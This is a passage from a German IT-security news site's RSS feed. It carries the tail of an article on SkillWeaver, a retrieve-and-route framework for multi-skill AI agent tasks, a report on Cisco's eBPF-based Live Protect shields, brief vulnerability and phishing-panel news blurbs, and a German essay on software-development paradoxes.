reports. </p><p>In practice, the researchers' experiments with SkillWeaver show that implementing this retrieve-and-route approach significantly increases accuracy while reducing token consumption by over 99% compared to naively exposing agents to an entire tool library.</p><p>For practitioners building AI agents, the main takeaway is that the granularity of task decomposition is the biggest bottleneck to accurate tool retrieval. </p><h2>The challenge of skill routing</h2><p>Skills are a key pattern in modern LLM agent architectures. A skill is a modular, reusable tool specification that uses structured natural language documentation. </p><p>As enterprise agents integrate with massive tool ecosystems, accurately routing user queries to the right skills becomes a difficult task. Exposing an entire library to an LLM to find the right tool is highly inefficient, quickly overwhelms context limits, and consumes hundreds of thousands of tokens.</p><p>Most current tool-use frameworks attempt to solve this through API retrieval, documentation matching, or hierarchical structures that treat routing strictly as a single-skill selection or per-step problem. </p><p>However, this single-skill paradigm is insufficient for enterprise environments because real-world queries are inherently compositional. A standard business request such as "Download the dataset, transform it, and create visual reports" cannot be fulfilled by one tool. It requires breaking the prompt down and sequencing an API client, a data processor, and a visualization tool into a cohesive, multi-step execution plan.</p><h2>How SkillWeaver and SAD work</h2><p>To tackle this, the researchers frame the problem of handling complex tasks that require multiple skills as "compositional skill routing." Given a complex user prompt and a vast library of tools, an agent must simultaneously figure out how to break the request into a sequence of atomic sub-tasks, how to map each sub-task to the single best available skill, and how to compose those skills into an executable plan.</p><p>SkillWeaver orchestrates this process through three distinct stages: Decompose, Retrieve, and Compose. In the first stage, an LLM acts as a task decomposer, breaking the user's complex query down into a sequence of sub-tasks that each require one skill. Once the sub-tasks are clearly defined, the system uses an embedding model to compare each subtask against the skill library to pull a shortlist of the top candidate tools for each step. </p><p>In the final stage, a planner evaluates the retrieved candidates based on how well they work together. It checks for inter-skill compatibility to ensure the outputs of one tool naturally flow into the inputs of the next. It then creates a final execution plan as a Directed Acyclic Graph (DAG) that maps out dependencies so independent tasks can potentially execute in parallel.</p><p>For example, consider a user asking an AI agent to "Download the dataset, transform it, and create visual reports." In the decompose stage, the decomposer LLM breaks this into three distinct sub-tasks: downloading the dataset, transforming the data, and creating the reports. </p><p>In the retrieve stage, the system searches the library and finds candidates like “api-client” or “http-fetch” for task one, “csv-parser” or “etl-pipeline” for task two, and so on. Finally, the compose stage evaluates these options, selects the specific combination of “api-client,” “csv-parser,” and “chart-gen” that are most compatible, and wires them together into a final, ready-to-execute workflow.</p><p>A key challenge of this pipeline is that LLMs often produce generic step descriptions that fail to match the specific, technical vocabulary of the actual skills available in the library. To fix this, SkillWeaver introduces Iterative Skill-Aware Decomposition (SAD), a novel feedback loop. SAD works by having the LLM draft an initial plan, conducting a preliminary search to find loosely matching skills, and then feeding those retrieved skills back into the LLM as hints. This allows the LLM to rewrite its decomposition so the granularity and vocabulary perfectly align with the actual tools that exist.</p><h2>SkillWeaver in action</h2><p>To evaluate how SkillWeaver performs in realistic enterprise scenarios, the researchers created a custom benchmark called CompSkillBench. It consists of 300 multi-step queries of different difficulty levels. To mirror real-world environments, they used a library of 2,209 real-world skills sourced from the public MCP ecosystem, covering 24 functional categories like cloud infrastructure, finance, and databases. </p><p>For the core engine, the researchers primarily used a lightweight 7-billion parameter model (Qwen2.5-7B-Instruct) for task decomposition, paired with a standard semantic search retriever (MiniLM with a FAISS index) to find the tools. SkillWeaver was evaluated against three main setups: a brute-force "LLM-Direct" method where they stuffed all the tool names into the prompt of a large model, a vanilla LLM-based decomposition without SAD, and a ReAct-style agent loop.</p><p>The experiments indicate that task decomposition is the main bottleneck. Standard LLM behavior falls short when dealing with large tool libraries, but the SAD feedback loop dramatically moves the needle. In the vanilla setup, the 7B model achieved a decomposition accuracy (i.e., predicting the correct number of steps) only 51.0% of the time. By activating the SAD feedback loop, accuracy jumped to 67.7% (with the larger Qwen-Max model, the accuracy reached 92%). On "hard" tasks requiring four to five distinct skills, SAD improved accuracy by 50%.</p><p>One fascinating finding was that larger models can actually perform worse when unguided. When tested in the vanilla setup, a larger 14-billion parameter model saw its accuracy plummet below the 7B model's accuracy because it tended to over-decompose tasks into microscopic, unnecessary steps. Once SAD was introduced, the retrieved tool hints anchored the model back to reality and increased its accuracy. This suggests that aligning an agent with the vocabulary of specific tools is often more impactful than paying for a larger, more expensive LLM.</p><p>Another important takeaway is token savings. The LLM-Direct baseline, which used the very large Qwen-Max model, showed that feeding all tools into the prompt of a large model fails. Despite near-perfect task breakdown capabilities, the massive model only retrieved the right tool category 21.1% of the time when flooded with tool options. SkillWeaver's targeted retrieve-and-route approach vastly outperformed this in accuracy while slashing context window consumption from an estimated 884,000 tokens down to roughly 1,160 tokens per query, a 99.9% reduction. For practitioners, this translates directly to drastically lower API costs and faster response times. </p><p>Finally, the traditional ReAct baseline completely failed, achieving 0% decomposition accuracy. Its loop naturally collapses multi-step plans into isolated actions rather than explicitly mapping out a cohesive, multi-tool sequence.</p><h2>Considerations for developers</h2><p>While the researchers have not yet released the source code for SkillWeaver, their work was built on off-the-shelf tools that can easily be reproduced. </p><p>Skill-Aware Decomposition (SAD), which is the key innovation at the heart of the framework, is a clever prompt-engineering and retrieval loop. The authors have shared the prompt templates in their paper, and developers can implement it themselves quite easily using standard orchestration libraries like LangChain, LlamaIndex, or even raw Python scripts.</p><p>As for the retrieval component, the authors built the core framework using <a href="https://huggingface.co/sentence-transformers/all-MiniLM-L6-v2">all-MiniLM-L6-v2</a>, an open-source embedding model. They found that swapping in a slightly stronger off-the-shelf encoder (<a href="https://huggingface.co/BAAI/bge-base-en-v1.5">BGE-base-en-v1.5</a>) immediately boosted accuracy without any fine-tuning. While an off-the-shelf bi-encoder is great at getting a relevant tool into the top 10 candidates nearly 70% of the time, it struggles to consistently rank the perfect tool at exactly number one, achieving that only about 37% of the time. To bridge this gap, teams will likely need to implement a secondary cross-encoder or LLM-based reranker to re-order those top 10 candidates.</p><p>One upfront preparation requirement is vectorizing the tool library and building a FAISS index in advance. In practice, this is a negligible hurdle. Embedding and indexing all 2,209 skills in the benchmark took a mere 15 seconds. Once built, retrieving tools from the index adds less than 15 milliseconds of latency per query. For enterprise environments, syncing the tool index is a trivial background job. </p><p>A current limitation in SkillWeaver is the lack of error recovery. While SkillWeaver successfully maps out a compatible DAG for execution, the authors' pilot study revealed the challenges of multi-step tool chains. For example, if an API call fails in step two, the entire chain breaks. The paper's core contribution is limited to the routing and planning phase. For a true production deployment, practitioners must build their own error recovery, fallback, and retry mechanisms on top of the compose stage to handle real-world API timeouts or malformed outputs.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Cisco details Live Protect’s real-time threat mitigation capabilities]]></title>
<description><![CDATA[Cisco this week shared more details about its new Live Protect package and how it will help Nexus-based data center operators safeguard valuable resources.



Announced and demoed at the recent Cisco Live event, Cisco Live Protect for Nexus infrastructure replaces disruptive, traditional patching...]]></description>
<link>https://tsecurity.de/de/3641590/it-security-nachrichten/cisco-details-live-protects-real-time-threat-mitigation-capabilities/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3641590/it-security-nachrichten/cisco-details-live-protects-real-time-threat-mitigation-capabilities/</guid>
<pubDate>Thu, 02 Jul 2026 17:24:11 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p>Cisco this week shared more details about its new Live Protect package and how it will help Nexus-based data center operators safeguard valuable resources.</p>



<p>Announced and demoed at the recent <a href="https://www.networkworld.com/article/4179942/cisco-live-the-network-is-back-and-ai-rewrote-the-rules.html">Cisco Live</a> event, Cisco Live Protect for Nexus infrastructure replaces disruptive, traditional patching cycles with real-time shields that mitigate vulnerabilities instantly, according to Shankar Varanasy, product management leader with Cisco’s data center networking team.</p>



<p>“By orchestrating these proactive defenses through <a href="https://www.cisco.com/site/us/en/products/networking/cloud-networking/nexus-one/index.html#tabs-35d568e0ff-item-4bd7dc8124-tab">Cisco Nexus One</a> and <a href="https://www.cisco.com/site/us/en/products/networking/cloud-networking/nexus-platform/index.html?dtid=osscdc000283&amp;linkclickid=srch#tabs-9da71fbd27-item-1288c79d71-tab">Cisco Nexus Dashboard</a> on premises, administrators can neutralize threats the moment they arise, ensuring a hardened security posture without sacrificing operational uptime,” Varanasy wrote in a <a href="https://blogs.cisco.com/datacenter/protecting-against-rising-cybersecurity-risks-in-data-centers">blog post</a> this week. “This approach effectively eliminates the traditional trade-off between security and availability, allowing data centers to maintain a hardened, high-performance posture while ensuring continuous, uninterrupted service delivery.”</p>



<p>“Live Protect uses extended Berkeley Packet Filter (eBPF) technology, a powerful Linux kernel feature, through the Tetragon agent embedded in NX-OS. This allows deep visibility and enforcement directly within the kernel, monitoring system calls, file operations, process control, and network traffic to detect and prevent privilege escalation, control-plane attacks, and other sophisticated threats,” Varanasy  wrote. </p>



<p>The Live Protect vulnerability shields are basically policies for a selected, validated vulnerability condition, according to Varanasy. These shields are intended as temporary measures and should be decommissioned once a permanent software fix is applied, he said.</p>



<p>“Live Protect is not a patch,” wrote Tom Gillis, senior vice president and general manager of the Cisco infrastructure &amp; security group, in <a href="https://blogs.cisco.com/news/shields-up-cisco-live-protect-closes-vulnerability-gap-with-compensating-controls">blog post</a> about Live Protect in June. “It does not replace the need for core lifecycle discipline or permanent software updates. Instead, it serves as a temporary, targeted shield that mitigates the risk of a specific vulnerability with a few clicks. It is intended to be a ‘finger in the dike’, an emergency control that is applied to a running system without disrupting that system between more frequent maintenance windows.”</p>



<p>Live Protect works by using eBPF to run sandboxed programs within the operating system kernel, Gillis wrote: “This gives us the deep visibility and surgical control to intercept and block exploit attempts at the source without changing the kernel’s source code or requiring a system reboot.”</p>



<p>“The unique capabilities of eBPF allow us to make very fine grained, pin-point controls that shield a known vulnerability from being exploited. The shield can be as specific as ‘do not allow this particular process to access this particular file.’ Because these shields are so fine grained and specific, they are designed to have ultra-low false positive rates. In simple terms, that process should never access that particular file. So, we don’t allow it,” Gillis wrote.</p>



<p>“Data center environments are becoming more complex,” Varansasy wrote. “This increases the number of possible entry points for attackers. Older systems and outdated infrastructure make things even harder because they often lack hardened products, software compatibility, and the latest security features. Legacy systems therefore require frequent manual updates, troubleshooting, and patching to react to security threats—especially with technologies like Claude Mythos, Anthropic’s AI model that can autonomously discover and exploit software vulnerabilities at unprecedented speed. Teams spend more time maintaining and securing infrastructure than focusing on business-critical outcomes.”</p>



<p>“Traditional security patching methods require scheduled downtime and maintenance windows, which can delay the deployment of critical fixes and leave networks exposed to zero-day attacks. These delays create windows of vulnerability that sophisticated attackers can exploit,” Varanasy wrote.</p>



<h2 class="wp-block-heading">World Wide Technology on Cisco Live Protect</h2>



<p>Technology provider World Wide Technology (WWT) has been closely watching the development of Cisco Live Protect and called new capability “genuinely exciting.” </p>



<p>“One of the most practically impactful announcements this week was the general availability of Live Protect on the Cisco Nexus 9000 series,” WWT wrote in a <a href="https://www.wwt.com/blog/cisco-live-2026-security-innovation-highlights-and-what-wwts-team-brought-to-las-vegas">blog post</a> following the Cisco Live event.</p>



<p>“The problem Live Protect solves is one that every infrastructure and security team knows well,” WWT wrote. “When a critical vulnerability is disclosed, the permanent fix requires a patch cycle: testing, change control, maintenance windows, coordination across teams. In a high-velocity threat environment, that process takes time an organization may not have. Live Protect inserts Cisco-validated runtime protections immediately, closing exposure while the permanent remediation proceeds through its normal workflow. No reboots required. No disruption to operations.”</p>



<p>Some other Live Protect facts from Cisco:</p>



<ul class="wp-block-list">
<li>Live Protect is a compensating control designed to mitigate risk during the interim period between vulnerability disclosure and remediation. Customers should continue to prioritize regular software maintenance and deploy permanent patches or fixed software releases.</li>



<li>Live Protect doesn’t protect customers from everything. Shield availability is determined by a range of factors, including the nature of the vulnerability, exploit characteristics, supported platform, software release, policy, mode, and Cisco validation status.</li>



<li>Availability is specific to the supported Cisco product, software release, policy, mode, delivery path, management surface, and lifecycle support, though currently Nexus systems are the only portfolio offered support now. Other systems such as campus and branch products are expected later this year.</li>
</ul>



<h4 class="wp-block-heading">Read more stories from Cisco Live 2026</h4>



<ul class="wp-block-list">
<li><a href="https://www.networkworld.com/article/4180810/what-is-cisco-cloud-control-and-why-should-customers-care.html">What is Cisco Cloud Control and why should customers care?</a></li>



<li><a href="https://www.networkworld.com/article/4179942/cisco-live-the-network-is-back-and-ai-rewrote-the-rules.html">Cisco Live: The network is back, and AI rewrote the rules</a></li>



<li><a href="https://www.networkworld.com/article/4184554/how-jeetu-patel-made-cisco-unrecognizable.html">How Jeetu Patel made Cisco unrecognizable</a></li>



<li><a href="https://www.networkworld.com/article/4180842/cisco-sees-quantum-networking-as-the-future-of-networking.html">Cisco sees quantum networking as the future of networking</a></li>



<li><a href="https://www.networkworld.com/article/4181727/how-cisco-it-cut-observability-costs-by-86-and-eliminated-major-network-outages.html">How Cisco IT cut observability costs by 86% and eliminated major network outages</a></li>



<li><a href="https://www.networkworld.com/article/4179673/cisco-brings-agentic-ops-platform-and-security-overhaul-to-cisco-live.html">Cisco brings agentic ops platform and security overhaul to Cisco Live</a></li>
</ul>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[EvilTokens-Linked ARToken Panel Exposes 80+ APIs for Microsoft 365 Token Theft]]></title>
<description><![CDATA[A fully featured phishing-as-a-service (PhaaS) panel named “ARToken” that closely mirrors the EvilTokens infrastructure first profiled in early 2026, but with a broader and deeper post-compromise toolkit. ARToken’s React single-page application exposes more than 80 API endpoints enabling device-c...]]></description>
<link>https://tsecurity.de/de/3640976/it-security-nachrichten/eviltokens-linked-artoken-panel-exposes-80-apis-for-microsoft-365-token-theft/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3640976/it-security-nachrichten/eviltokens-linked-artoken-panel-exposes-80-apis-for-microsoft-365-token-theft/</guid>
<pubDate>Thu, 02 Jul 2026 13:38:08 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>A fully featured phishing-as-a-service (PhaaS) panel named “ARToken” that closely mirrors the EvilTokens infrastructure first profiled in early 2026, but with a broader and deeper post-compromise toolkit. ARToken’s React single-page application exposes more than 80 API endpoints enabling device-code phishing, Primary Refresh Token (PRT) persistence, mailbox takeover, business email compromise (BEC) workflows, and SharePoint exfiltration […]</p>
<p>The post <a href="https://gbhackers.com/eviltokens-linked-artoken-panel/">EvilTokens-Linked ARToken Panel Exposes 80+ APIs for Microsoft 365 Token Theft</a> appeared first on <a href="https://gbhackers.com/">GBHackers Security | #1 Globally Trusted Cyber Security News Platform</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[EvilTokens-Linked ARToken Panel Exposes 80+ APIs for Microsoft 365 Token Theft]]></title>
<description><![CDATA[A fully featured phishing-as-a-service (PhaaS) panel named “ARToken” that closely mirrors the EvilTokens infrastructure first profiled in early 2026, but with a broader and deeper post-compromise toolkit. ARToken’s React single-page application exposes more than 80 API endpoints enabling device-c...]]></description>
<link>https://tsecurity.de/de/3640961/it-security-nachrichten/eviltokens-linked-artoken-panel-exposes-80-apis-for-microsoft-365-token-theft/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3640961/it-security-nachrichten/eviltokens-linked-artoken-panel-exposes-80-apis-for-microsoft-365-token-theft/</guid>
<pubDate>Thu, 02 Jul 2026 13:37:49 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>A fully featured phishing-as-a-service (PhaaS) panel named “ARToken” that closely mirrors the EvilTokens infrastructure first profiled in early 2026, but with a broader and deeper post-compromise toolkit. ARToken’s React single-page application exposes more than 80 API endpoints enabling device-code phishing,…</p>
<p class="more-link-p"><a class="more-link" href="https://www.itsecuritynews.info/eviltokens-linked-artoken-panel-exposes-80-apis-for-microsoft-365-token-theft/">Read more →</a></p>
<p>The post <a href="https://www.itsecuritynews.info/eviltokens-linked-artoken-panel-exposes-80-apis-for-microsoft-365-token-theft/">EvilTokens-Linked ARToken Panel Exposes 80+ APIs for Microsoft 365 Token Theft</a> appeared first on <a href="https://www.itsecuritynews.info/">IT Security News</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA['We are not going to sit idly by': video game retailers react to Sony's PlayStation disc axeing announcement]]></title>
<description><![CDATA[Video game retailers could be in big trouble, with Sony eliminating physical copies from 2028, and the reaction online is fierce.]]></description>
<link>https://tsecurity.de/de/3639137/it-nachrichten/we-are-not-going-to-sit-idly-by-video-game-retailers-react-to-sonys-playstation-disc-axeing-announcement/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3639137/it-nachrichten/we-are-not-going-to-sit-idly-by-video-game-retailers-react-to-sonys-playstation-disc-axeing-announcement/</guid>
<pubDate>Wed, 01 Jul 2026 18:18:00 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Video game retailers could be in big trouble, with Sony eliminating physical copies from 2028, and the reaction online is fierce.]]></content:encoded>
</item>
<item>
<title><![CDATA[CVE-2026-23864 | Meta react-server-dom-webpack up to 19.0.3/19.1.4/19.2.3 React Server deserialization]]></title>
<description><![CDATA[A vulnerability was found in Meta react-server-dom-webpack, react-server-dom-turbopack and react-server-dom-parcel up to 19.0.3/19.1.4/19.2.3. It has been declared as critical. This affects an unknown part of the component React Server Component. The manipulation results in deserialization.

This...]]></description>
<link>https://tsecurity.de/de/3636796/sicherheitsluecken/cve-2026-23864-meta-react-server-dom-webpack-up-to-190319141923-react-server-deserialization/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3636796/sicherheitsluecken/cve-2026-23864-meta-react-server-dom-webpack-up-to-190319141923-react-server-deserialization/</guid>
<pubDate>Tue, 30 Jun 2026 22:23:45 +0200</pubDate>
<category>🕵️ Sicherheitslücken</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[A vulnerability was found in <a href="https://vuldb.com/product/meta:react-server-dom-webpack">Meta react-server-dom-webpack, react-server-dom-turbopack and react-server-dom-parcel up to 19.0.3/19.1.4/19.2.3</a>. It has been declared as <a href="https://vuldb.com/kb/risk">critical</a>. This affects an unknown part of the component <em>React Server Component</em>. The manipulation results in deserialization.

This vulnerability is cataloged as <a href="https://vuldb.com/cve/CVE-2026-23864">CVE-2026-23864</a>. The attack may be launched remotely. There is no exploit available.

It is recommended to upgrade the affected component.]]></content:encoded>
</item>
<item>
<title><![CDATA['Such a weird choice': DC comic book fans react to new report that appears to reveal which DCU movie will be made after James Gunn's Superman sequel — and it won't star Batman or Wonder Woman]]></title>
<description><![CDATA[As DC Studios reels over Supergirl's disastrous launch, fans question why another Batman villain movie is reportedly in the works.]]></description>
<link>https://tsecurity.de/de/3635223/it-nachrichten/such-a-weird-choice-dc-comic-book-fans-react-to-new-report-that-appears-to-reveal-which-dcu-movie-will-be-made-after-james-gunns-superman-sequel-and-it-wont-star-batman-or-wonder-woman/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3635223/it-nachrichten/such-a-weird-choice-dc-comic-book-fans-react-to-new-report-that-appears-to-reveal-which-dcu-movie-will-be-made-after-james-gunns-superman-sequel-and-it-wont-star-batman-or-wonder-woman/</guid>
<pubDate>Tue, 30 Jun 2026 12:32:53 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[As DC Studios reels over Supergirl's disastrous launch, fans question why another Batman villain movie is reportedly in the works.]]></content:encoded>
</item>
<item>
<title><![CDATA[CVE-2025-59057 | remix-run react-router API meta cross site scripting (GHSA-3cgp-3xvw-98x8 / EUVD-2026-1469)]]></title>
<description><![CDATA[A vulnerability classified as problematic has been found in remix-run react-router. The affected element is the function meta of the component API. This manipulation causes cross site scripting.

This vulnerability appears as CVE-2025-59057. The attack may be initiated remotely. There is no avail...]]></description>
<link>https://tsecurity.de/de/3634683/sicherheitsluecken/cve-2025-59057-remix-run-react-router-api-meta-cross-site-scripting-ghsa-3cgp-3xvw-98x8-euvd-2026-1469/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3634683/sicherheitsluecken/cve-2025-59057-remix-run-react-router-api-meta-cross-site-scripting-ghsa-3cgp-3xvw-98x8-euvd-2026-1469/</guid>
<pubDate>Tue, 30 Jun 2026 08:05:56 +0200</pubDate>
<category>🕵️ Sicherheitslücken</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[A vulnerability classified as <a href="https://vuldb.com/kb/risk">problematic</a> has been found in <a href="https://vuldb.com/product/remix-run:react-router">remix-run react-router</a>. The affected element is the function <code>meta</code> of the component <em>API</em>. This manipulation causes cross site scripting.

This vulnerability appears as <a href="https://vuldb.com/cve/CVE-2025-59057">CVE-2025-59057</a>. The attack may be initiated remotely. There is no available exploit.

It is recommended to upgrade the affected component.]]></content:encoded>
</item>
<item>
<title><![CDATA[CVE-2026-21884 | remix-run react-router API getKey/storageKey cross site scripting (GHSA-8v8x-cx79-35w7 / EUVD-2026-1466)]]></title>
<description><![CDATA[A vulnerability, which was classified as problematic, has been found in remix-run react-router. This affects an unknown function of the component API. Performing a manipulation of the argument getKey/storageKey results in cross site scripting.

This vulnerability is known as CVE-2026-21884. Remot...]]></description>
<link>https://tsecurity.de/de/3634679/sicherheitsluecken/cve-2026-21884-remix-run-react-router-api-getkeystoragekey-cross-site-scripting-ghsa-8v8x-cx79-35w7-euvd-2026-1466/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3634679/sicherheitsluecken/cve-2026-21884-remix-run-react-router-api-getkeystoragekey-cross-site-scripting-ghsa-8v8x-cx79-35w7-euvd-2026-1466/</guid>
<pubDate>Tue, 30 Jun 2026 08:05:54 +0200</pubDate>
<category>🕵️ Sicherheitslücken</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[A vulnerability, which was classified as <a href="https://vuldb.com/kb/risk">problematic</a>, has been found in <a href="https://vuldb.com/product/remix-run:react-router">remix-run react-router</a>. This affects an unknown function of the component <em>API</em>. Performing a manipulation of the argument <em>getKey/storageKey</em> results in cross site scripting.

This vulnerability is known as <a href="https://vuldb.com/cve/CVE-2026-21884">CVE-2026-21884</a>. Remote exploitation of the attack is possible. No exploit is available.

It is advisable to upgrade the affected component.]]></content:encoded>
</item>
<item>
<title><![CDATA[Die größten Paradoxa der Softwareentwicklung]]></title>
<description><![CDATA[Paradoxe Erlebnisse sind für Softwareentwickler Alltag.Rosemarie Mosteller | shutterstock.com



Vergleicht man den Bau von Brücken mit der Softwareentwicklung, zeigen sich bedeutende Unterschiede: Denn auch wenn keine Brücke – ähnlich wie ein Softwareprojekt – der anderen bis aufs „Haar“ gleicht...]]></description>
<link>https://tsecurity.de/de/3631887/it-security-nachrichten/die-groessten-paradoxa-der-softwareentwicklung/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3631887/it-security-nachrichten/die-groessten-paradoxa-der-softwareentwicklung/</guid>
<pubDate>Mon, 29 Jun 2026 06:07:06 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" decoding="async" src="https://b2b-contenthub.com/wp-content/uploads/2025/04/Rosemarie-Mosteller_shutterstock_1976381543_16z9.jpg?quality=50&amp;strip=all&amp;w=1024" alt="Signs of Paradoxons 16z9" class="wp-image-3963773" width="1024" height="576" sizes="auto, (max-width: 1024px) 100vw, 1024px"><figcaption class="wp-element-caption">Paradoxe Erlebnisse sind für Softwareentwickler Alltag.</figcaption></figure><p class="imageCredit">Rosemarie Mosteller | shutterstock.com</p></div>



<p>Vergleicht man den Bau von Brücken mit der Softwareentwicklung, zeigen sich bedeutende Unterschiede: Denn auch wenn keine Brücke – ähnlich wie ein Softwareprojekt – der anderen bis aufs „Haar“ gleicht, werden sie aus bekannten Materialien mit bekannten Eigenschaften geschaffen.  </p>



<p>Im Gegensatz dazu beinhaltet der Softwareentwicklungsprozess wesentlich mehr „<a href="https://www.computerwoche.de/article/3610320/darum-ist-software-verbuggt.html">unknown Unknowns</a>“. Was dazu führt, dass er jede Menge Paradoxa beinhaltet, mit denen Developer teilweise nur schwer umgehen können. Wichtig ist aber vor allem, sich ihre Existenz bewusst zu machen – nur so lassen sich die daraus entstehenden Fallstricke umgehen. Insbesondere, wenn es dabei um die folgenden vier Paradoxa geht.</p>



<h2 class="wp-block-heading">1. Ohne Plan, aber mit Deadline</h2>



<p>Zielführend einzuschätzen, wie lange ein Softwareprojekt dauern wird, ist wahrscheinlich die größte Herausforderung für Softwareentwickler überhaupt. Denn darüber lässt sich keine abschließende, verbindliche Aussage treffen. Sicher, man kann <a href="https://www.computerwoche.de/article/2833936/darum-versagt-ihre-aufwandsschaetzung.html">den ungefähren Aufwand schätzen</a> – das geht im Regelfall allerdings daneben. Meistens wird der zeitliche Aufwand drastisch unterschätzt.</p>



<p>Wird die gesetzte Deadline dann verpasst, ärgern sich vor allem die Kunden. Sie stecken nicht in der Haut der Devs und durchblicken die Abläufe und möglichen Hindernisse (im Regelfall) nicht. Also sind sie frustriert, weil ihre Software nicht zum vereinbarten Zeitpunkt ausgeliefert wird.  </p>



<p>Auch sämtliche Versuche, mit schicken, agilen Methoden wie Story Points oder Planing Poker zielführender vorhersagen zu wollen, wann ein Softwareprojekt abgeschlossen wird, bringen <s>nichts</s> wenig. Wir scheinen einfach nicht in der Lage, <a href="https://en.wikipedia.org/wiki/Hofstadter%27s_law">Hofstadters Gesetz</a> (der Verzögerung) zu überwinden.</p>



<h2 class="wp-block-heading">2. Mehr Mannstärke, mehr Verzug</h2>



<p>Stellt ein Manager einer Fabrik fest, dass die monatliche Quote für abgefüllte Zahnpastatuben in Gefahr ist, setzt er mehr Arbeiter ein, um die Vorgabe zu erfüllen. Ähnlich verhält es sich beim Hausbau: Wenn Sie doppelt so viele Häuser wie im Vorjahr bauen wollen, hilft es in der Regel, die Vorleistungen – Arbeit und Material – zu verdoppeln.</p>



<p>Im Fall der Softwareentwicklung verhält sich das völlig anders, wie Frederick Brooks bereits 1975 in seinem Buch „Vom Mythos des Mann-Monats“ herausgearbeitet hat. Demnach hilft es wenig, verzögerte Softwareprojekte mit zusätzlicher Mannstärke retten zu wollen. Im Gegenteil: Gemäß dem <a href="https://de.wikipedia.org/wiki/Frederick_P._Brooks">Brooks’schen Gesetz</a> verzögert das das Projekt nur noch zusätzlich. Schließlich können neu hinzukommende Teammitglieder nicht sofort zum Projekt beitragen. Sie benötigen Zeit, um sich in den Kontext komplexer Systeme einzuarbeiten, was oft auch zusätzliche Kommunikationsmaßnahmen nach sich zieht. Am Ende verzögert sich dann nicht nur alles noch weiter – es kostet auch mehr.</p>



<h2 class="wp-block-heading">3. Mehr Skills, weniger Programmier-Tasks</h2>



<p>Als Softwareentwickler umfassende Expertise aufzubauen und sämtliche erforderlichen Regeln und Feinheiten zu verinnerlichen, um <a href="https://www.computerwoche.de/article/2824308/so-entwickeln-sie-besser.html">wartbaren, sauberen Code</a> zu schreiben, nimmt etliche Jahre in Anspruch. Dabei erscheint es auch relativ paradox, dass die Programmieraufgaben mit steigender Erfahrung eher weniger werden: Statt zu programmieren, sitzen leitende Entwickler vor allem in Design-Meetings, überprüfen den Code anderer und übernehmen weitere Führungsaufgaben.  </p>



<p>Das heißt zwar nicht, dass <a href="https://www.computerwoche.de/article/2834999/3-dinge-die-senior-developer-auszeichnen.html">Senior Developer</a> einen kleineren Beitrag leisten. Schließlich sorgen sie in Führungspositionen dafür, dass zeitgemäß und zielführend gearbeitet wird und tragen so wesentlich zum Team- und Unternehmenserfolg bei. Aber am Ende schreiben sie dennoch weniger Code.</p>



<h2 class="wp-block-heading">4. Bessere Tools, keine Zeitvorteile</h2>



<p>Vergleicht man die Webentwicklung von heute mit performanten Tools wie <a href="https://www.computerwoche.de/article/2833386/die-besten-javascript-frameworks-im-vergleich.html">React</a>, <a href="https://www.computerwoche.de/article/3834789/astro-tutorial-plug-play-webentwicklung.html">Astro</a> und Next.js mit dem Gebaren von vor 30 Jahren (Stichwort <a href="https://en.wikipedia.org/wiki/Common_Gateway_Interface">Common Gateway Interface</a>), wird klar, dass wir uns seitdem um Lichtjahre weiterentwickelt haben. Doch obwohl unsere Tools immer besser und die Prozessoren immer schneller werden, scheinen sich Softwareprojekte insgesamt nicht zu beschleunigen. Das wirft Fragen auf:</p>



<ul class="wp-block-list">
<li>Unsere Websites sehen zwar immer besser aus, aber sind wir wirklich produktiver?</li>



<li>Laufen unsere Websites schneller und verarbeiten sie Daten besser?</li>
</ul>



<p>Natürlich abstrahieren die Frameworks und Bibliotheken von heute viele Komplexitäten. Sie führen aber auch zu neuen Problemen. Zum Beispiel langen Build-Pipelines, Konfigurationsalbträumen oder Abhängigkeitsproblemen. (fm)</p>



<p><strong>Sie wollen weitere interessante Beiträge zu diversen Themen aus der IT-Welt lesen? </strong><a href="https://www.computerwoche.de/newsletter-anmeldung/"><strong>Unsere kostenlosen Newsletter</strong></a><strong> liefern Ihnen alles, was IT-Profis wissen sollten – direkt in Ihre Inbox!</strong></p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[My 6 High-Tech Tactics for Pets Afraid of Fourth of July Fireworks]]></title>
<description><![CDATA[Many pets react poorly to Independence Day booms. But today's smart technology can help you protect them.]]></description>
